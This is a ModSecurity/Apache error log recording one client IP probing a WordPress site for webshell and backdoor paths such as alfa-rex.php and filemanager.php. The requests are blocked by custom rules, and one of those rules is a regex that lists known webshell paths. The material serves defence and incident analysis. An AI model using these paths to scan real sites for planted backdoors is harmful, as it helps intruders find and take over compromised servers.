[Sat Nov 22 05:46:08.603219 2025] [:error] [pid 53479:tid 53546] [client 172.161.73.78:10417] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aSDdoG6cicFF3Aas-oR2vgAAAIo"]
[Sat Nov 22 05:46:11.006508 2025] [:error] [pid 53478:tid 53509] [client 172.161.73.78:37819] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aSDdowhUYdXBbQswAdQRfwAAAEA"]
[Sat Nov 22 05:46:24.302395 2025] [:error] [pid 53566:tid 53578] [client 172.161.73.78:64970] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/index.php"] [unique_id "aSDdsMbSHDBkRbwMbd447wAAAMo"]
[Sat Nov 22 05:46:36.552287 2025] [:error] [pid 53478:tid 53511] [client 172.161.73.78:40748] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade-temp-backup/alfa-rex.php"] [unique_id "aSDdvAhUYdXBbQswAdQRqgAAAEI"]
[Sat Nov 22 05:46:44.430016 2025] [proxy_fcgi:error] [pid 53479:tid 53555] [client 172.161.73.78:40725] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:46:44.666443 2025] [:error] [pid 53479:tid 53539] [client 172.161.73.78:40725] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Response/siteindex.php"] [unique_id "aSDdxG6cicFF3Aas-oR29gAAAIM"]
[Sat Nov 22 05:46:47.543357 2025] [:error] [pid 53566:tid 53581] [client 172.161.73.78:40713] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/wp-conflg.php"] [unique_id "aSDdx8bSHDBkRbwMbd45OgAAAM0"]
[Sat Nov 22 05:46:49.069906 2025] [proxy_fcgi:error] [pid 53479:tid 53546] [client 172.161.73.78:60576] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:46:49.561109 2025] [:error] [pid 53479:tid 53543] [client 172.161.73.78:60576] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aSDdyW6cicFF3Aas-oR3AQAAAIc"]
[Sat Nov 22 05:46:51.059630 2025] [:error] [pid 25856:tid 25859] [client 172.161.73.78:64529] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/install.php"] [unique_id "aSDdyxsTP0wy94zKUvGttQAAAQE"]
[Sat Nov 22 05:46:53.670526 2025] [:error] [pid 53478:tid 53531] [client 172.161.73.78:48936] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aSDdzQhUYdXBbQswAdQRzAAAAFY"]
[Sat Nov 22 05:46:57.387426 2025] [proxy_fcgi:error] [pid 25856:tid 25877] [client 172.161.73.78:48913] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:46:57.895889 2025] [:error] [pid 25856:tid 25880] [client 172.161.73.78:48913] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/network.php"] [unique_id "aSDd0RsTP0wy94zKUvGt4wAAARY"]
[Sat Nov 22 05:46:59.912440 2025] [:error] [pid 53478:tid 53515] [client 172.161.73.78:60591] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSDd0whUYdXBbQswAdQR6gAAAEY"]
[Sat Nov 22 05:47:03.783664 2025] [proxy_fcgi:error] [pid 25856:tid 25868] [client 172.161.73.78:64538] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:47:04.800497 2025] [:error] [pid 25856:tid 25882] [client 172.161.73.78:64538] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "aSDd2BsTP0wy94zKUvGuCAAAARg"]
[Sat Nov 22 05:47:05.874927 2025] [:error] [pid 53478:tid 53513] [client 172.161.73.78:42056] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "aSDd2QhUYdXBbQswAdQR8AAAAEQ"]
[Sat Nov 22 05:47:06.687470 2025] [:error] [pid 25856:tid 25877] [client 172.161.73.78:38334] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "aSDd2hsTP0wy94zKUvGuCwAAARM"]
[Sat Nov 22 05:47:12.261482 2025] [:error] [pid 53477:tid 53501] [client 172.161.73.78:38293] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "aSDd4H7Lu30Ku9O40aLb0QAAABQ"]
[Sat Nov 22 05:47:13.232280 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:64517] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aSDd4RsTP0wy94zKUvGuGgAAARQ"]
[Sat Nov 22 05:47:16.958279 2025] [:error] [pid 53566:tid 53575] [client 172.161.73.78:40766] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aSDd5MbSHDBkRbwMbd45cgAAAMc"]
[Sat Nov 22 05:47:18.401110 2025] [:error] [pid 53566:tid 53581] [client 172.161.73.78:48927] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aSDd5sbSHDBkRbwMbd45eQAAAM0"]
[Sat Nov 22 05:47:22.930689 2025] [:error] [pid 25856:tid 25867] [client 172.161.73.78:64571] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aSDd6hsTP0wy94zKUvGuIQAAAQk"]
[Sat Nov 22 05:47:32.768712 2025] [:error] [pid 53566:tid 53573] [client 172.161.73.78:64575] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "aSDd9MbSHDBkRbwMbd45kwAAAMU"]
[Sat Nov 22 05:47:46.001268 2025] [:error] [pid 53478:tid 53509] [client 172.161.73.78:48957] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "aSDeAghUYdXBbQswAdQSGAAAAEA"]
[Sat Nov 22 05:47:50.119234 2025] [:error] [pid 25856:tid 25867] [client 172.161.73.78:60599] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aSDeBhsTP0wy94zKUvGuWQAAAQk"]
[Sat Nov 22 05:47:51.508017 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:60578] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aSDeBxsTP0wy94zKUvGuXgAAARQ"]
[Sat Nov 22 05:47:57.856356 2025] [:error] [pid 25856:tid 25864] [client 172.161.73.78:48942] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aSDeDRsTP0wy94zKUvGujgAAAQY"]
[Sat Nov 22 05:48:00.624886 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:48941] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin.php"] [unique_id "aSDeEBsTP0wy94zKUvGunAAAAQs"]
[Sat Nov 22 05:48:03.394103 2025] [:error] [pid 53478:tid 53529] [client 172.161.73.78:42063] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin.php"] [unique_id "aSDeEwhUYdXBbQswAdQSLwAAAFQ"]
[Sat Nov 22 05:48:15.803723 2025] [:error] [pid 53477:tid 53494] [client 172.161.73.78:60588] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "aSDeH37Lu30Ku9O40aLcRAAAAA0"]
[Sat Nov 22 05:48:22.190297 2025] [:error] [pid 53479:tid 53548] [client 172.161.73.78:56869] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/about.php"] [unique_id "aSDeJm6cicFF3Aas-oR34gAAAIw"]
[Sat Nov 22 05:48:25.963467 2025] [:error] [pid 53566:tid 53587] [client 172.161.73.78:44138] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSDeKcbSHDBkRbwMbd46EgAAANM"]
[Sat Nov 22 05:48:27.523349 2025] [proxy_fcgi:error] [pid 25856:tid 25882] [client 172.161.73.78:44102] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:48:27.774041 2025] [proxy_fcgi:error] [pid 25856:tid 25862] [client 172.161.73.78:44102] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:48:28.020369 2025] [:error] [pid 25856:tid 25861] [client 172.161.73.78:44102] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aSDeLBsTP0wy94zKUvGvGQAAAQM"]
[Sat Nov 22 05:48:29.224165 2025] [:error] [pid 53477:tid 53498] [client 172.161.73.78:56058] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-login.php"] [unique_id "aSDeLX7Lu30Ku9O40aLcggAAABE"]
[Sat Nov 22 05:48:37.772527 2025] [:error] [pid 53479:tid 53558] [client 172.161.73.78:41494] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/about.php"] [unique_id "aSDeNW6cicFF3Aas-oR4BwAAAJY"]
[Sat Nov 22 05:48:41.541383 2025] [:error] [pid 53566:tid 53582] [client 172.161.73.78:11148] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aSDeOcbSHDBkRbwMbd46RAAAAM4"]
[Sat Nov 22 05:48:43.487663 2025] [proxy_fcgi:error] [pid 53477:tid 53504] [client 172.161.73.78:10802] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:48:44.101843 2025] [proxy_fcgi:error] [pid 53477:tid 53487] [client 172.161.73.78:10802] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:48:46.836088 2025] [proxy_fcgi:error] [pid 53477:tid 53499] [client 172.161.73.78:10802] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:48:47.085368 2025] [:error] [pid 53477:tid 53496] [client 172.161.73.78:10802] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aSDeP37Lu30Ku9O40aLcpAAAAA8"]
[Sat Nov 22 05:48:50.851910 2025] [:error] [pid 53566:tid 53568] [client 172.161.73.78:11058] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/cloud.php"] [unique_id "aSDeQsbSHDBkRbwMbd46ZQAAAMA"]
[Sat Nov 22 05:48:53.386404 2025] [:error] [pid 53479:tid 53537] [client 172.161.73.78:11019] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes/alfa-rex.php"] [unique_id "aSDeRW6cicFF3Aas-oR4PAAAAIE"]
[Sat Nov 22 05:48:54.310487 2025] [:error] [pid 53566:tid 53570] [client 172.161.73.78:37426] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/index.php"] [unique_id "aSDeRsbSHDBkRbwMbd46bAAAAMI"]
[Sat Nov 22 05:48:58.893415 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:43501] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/index.php"] [unique_id "aSDeShsTP0wy94zKUvGv5QAAARQ"]
[Sat Nov 22 05:49:00.470195 2025] [:error] [pid 53566:tid 53579] [client 172.161.73.78:37385] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/index.php"] [unique_id "aSDeTMbSHDBkRbwMbd46eAAAAMs"]
[Sat Nov 22 05:49:04.884573 2025] [:error] [pid 53566:tid 53570] [client 172.161.73.78:37407] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/index.php"] [unique_id "aSDeUMbSHDBkRbwMbd46fQAAAMI"]
[Sat Nov 22 05:49:06.924299 2025] [:error] [pid 53479:tid 53554] [client 172.161.73.78:11003] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/classwithtostring.php"] [unique_id "aSDeUm6cicFF3Aas-oR4bQAAAJI"]
[Sat Nov 22 05:49:07.928174 2025] [:error] [pid 53566:tid 53570] [client 172.161.73.78:43463] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/classwithtostring.php"] [unique_id "aSDeU8bSHDBkRbwMbd46kAAAAMI"]
[Sat Nov 22 05:49:12.896693 2025] [:error] [pid 53477:tid 53505] [client 172.161.73.78:43496] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/classwithtostring.php"] [unique_id "aSDeWH7Lu30Ku9O40aLczgAAABg"]
[Sat Nov 22 05:49:16.248853 2025] [:error] [pid 53566:tid 53582] [client 172.161.73.78:33940] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/classwithtostring.php"] [unique_id "aSDeXMbSHDBkRbwMbd46pAAAAM4"]
[Sat Nov 22 05:49:17.566727 2025] [:error] [pid 53477:tid 53485] [client 172.161.73.78:38293] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/rk2.php"] [unique_id "aSDeXX7Lu30Ku9O40aLc4wAAAAQ"]
[Sat Nov 22 05:49:18.593154 2025] [:error] [pid 53478:tid 53515] [client 172.161.73.78:33942] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSDeXghUYdXBbQswAdQTCQAAAEY"]
[Sat Nov 22 05:49:27.201769 2025] [:error] [pid 53566:tid 53571] [client 172.161.73.78:10556] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSDeZ8bSHDBkRbwMbd46xwAAAMM"]
[Sat Nov 22 05:49:28.299416 2025] [:error] [pid 53566:tid 53581] [client 172.161.73.78:55467] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSDeaMbSHDBkRbwMbd46ygAAAM0"]
[Sat Nov 22 05:49:30.488995 2025] [:error] [pid 53566:tid 53582] [client 172.161.73.78:55448] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSDeasbSHDBkRbwMbd461QAAAM4"]
[Sat Nov 22 05:49:31.734479 2025] [:error] [pid 53477:tid 53500] [client 172.161.73.78:55463] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/xmrlpc.php"] [unique_id "aSDea37Lu30Ku9O40aLdHAAAABM"]
[Sat Nov 22 05:49:33.110185 2025] [:error] [pid 25856:tid 25880] [client 172.161.73.78:11261] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/xmrlpc.php"] [unique_id "aSDebRsTP0wy94zKUvGwPQAAARY"]
